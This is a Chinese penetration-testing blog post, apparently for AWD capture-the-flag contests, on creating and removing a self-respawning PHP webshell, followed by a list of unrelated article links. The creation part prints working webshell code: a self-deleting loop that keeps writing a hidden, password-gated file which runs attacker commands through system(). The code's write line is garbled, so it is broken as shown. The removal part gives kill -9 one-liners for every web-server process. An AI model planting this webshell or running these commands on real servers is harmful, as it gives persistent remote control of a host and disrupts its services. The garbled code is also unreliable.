当前位置: 首页 > news >正文

渗透测试-不死马的创建和查杀

不死马的创建和查杀

文章目录

  • 不死马的创建和查杀
  • 0x00 创建
  • 0x01 查看
  • 0x02 查杀
    • root用户角度的查杀:
    • 重启web服务。
    • 其他用户的查杀:

0x00 创建

md5加密密码:

在这里插入图片描述

代码:

<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.shell.php'; $code = '<?php if(md5($_GET["pass"])=="2591c98b70119fe624898b1e424b5e91"){@system($_POST[cmd]);} ?>';

while (1){
file_put_contents( f i l e , file, file,code);
}
?>

触发执行:
在这里插入图片描述

0x01 查看

权限:在这里插入图片描述
内容:在这里插入图片描述
执行:在这里插入图片描述

0x02 查杀

root用户角度的查杀:

1、杀掉进程

ps aux | grep www-data | awk ‘{print $2}’ | xargs kill -9
2、重启服务

重启web服务。

其他用户的查杀:

在awd中,ctf用户没有权限,不能重启服务,而且,以ctf的用户来杀进程和条件竞争也是不可行的。

(不死马会先创建,然后被删除,在创建到被删除的过程中会可利用。)

最简单的方式就是以www-data用户的角度通过杀进程来实现查杀。

1、杀掉进程:

<?php @system("ps -aux | grep www-data | awk '{print $2}' | xargs kill -9"); ?>

2、条件竞争:
不推荐,如果不死马中没有调用usleep()函数,进行延时的话,条件竞争是gg的。

相关文章:

  • 肾囊肿有什么症状呢?
  • MATLAB | 全网唯一 ,MATLAB绘制阴影柱状图(填充斜线)
  • Docker之docker设置系统的环境变量(第十五篇)
  • 分享查题公众号制作过程
  • webpack原理 - 5分钟了解ModuleGraph
  • 几分钟来了解下什么是嵌入式开发?
  • 基于SpringBoot的自习室预约管理系统
  • 计算机毕业设计php_thinphp_vue的校园论坛网站(源码+系统+mysql数据库+Lw文档)
  • 分享大学生如何制作自己的网课答案查题搜题公众号
  • 每天技术扩展记录
  • springBoot 源码一:自动配置底层源码分析
  • Java基于SSM的功能学习系统
  • u-view的使用
  • Linux Shell 基础语法 流程控制 逻辑运算 字符串操作详细解析
  • 论文速览【RL - Exploration】—— 【Go-Explore】First return, then explore
  • CentOS 7 修改主机名
  • crontab执行失败的多种原因
  • Elasticsearch 参考指南(升级前重新索引)
  • ES10 特性的完整指南
  • Java Agent 学习笔记
  • Java反射-动态类加载和重新加载
  • Js基础——数据类型之Null和Undefined
  • js写一个简单的选项卡
  • Linux链接文件
  • PHP CLI应用的调试原理
  • Promise面试题2实现异步串行执行
  • scala基础语法(二)
  • V4L2视频输入框架概述
  • 爱情 北京女病人
  • 前端面试总结(at, md)
  • 全栈开发——Linux
  • 如何编写一个可升级的智能合约
  • 深入浅出webpack学习(1)--核心概念
  • 十年未变!安全,谁之责?(下)
  • 事件委托的小应用
  • 温故知新之javascript面向对象
  • 文本多行溢出显示...之最后一行不到行尾的解决
  • elasticsearch-head插件安装
  • 哈罗单车融资几十亿元,蚂蚁金服与春华资本加持 ...
  • 通过调用文摘列表API获取文摘
  • ​​​​​​​​​​​​​​Γ函数
  • ​2020 年大前端技术趋势解读
  • ​软考-高级-信息系统项目管理师教程 第四版【第19章-配置与变更管理-思维导图】​
  • (12)Hive调优——count distinct去重优化
  • (13):Silverlight 2 数据与通信之WebRequest
  • (超简单)构建高可用网络应用:使用Nginx进行负载均衡与健康检查
  • (附源码)计算机毕业设计SSM在线影视购票系统
  • (六)库存超卖案例实战——使用mysql分布式锁解决“超卖”问题
  • (三)centos7案例实战—vmware虚拟机硬盘挂载与卸载
  • (四)Controller接口控制器详解(三)
  • (转) 深度模型优化性能 调参
  • .axf 转化 .bin文件 的方法
  • .dwp和.webpart的区别
  • .libPaths()设置包加载目录
  • .MSSQLSERVER 导入导出 命令集--堪称经典,值得借鉴!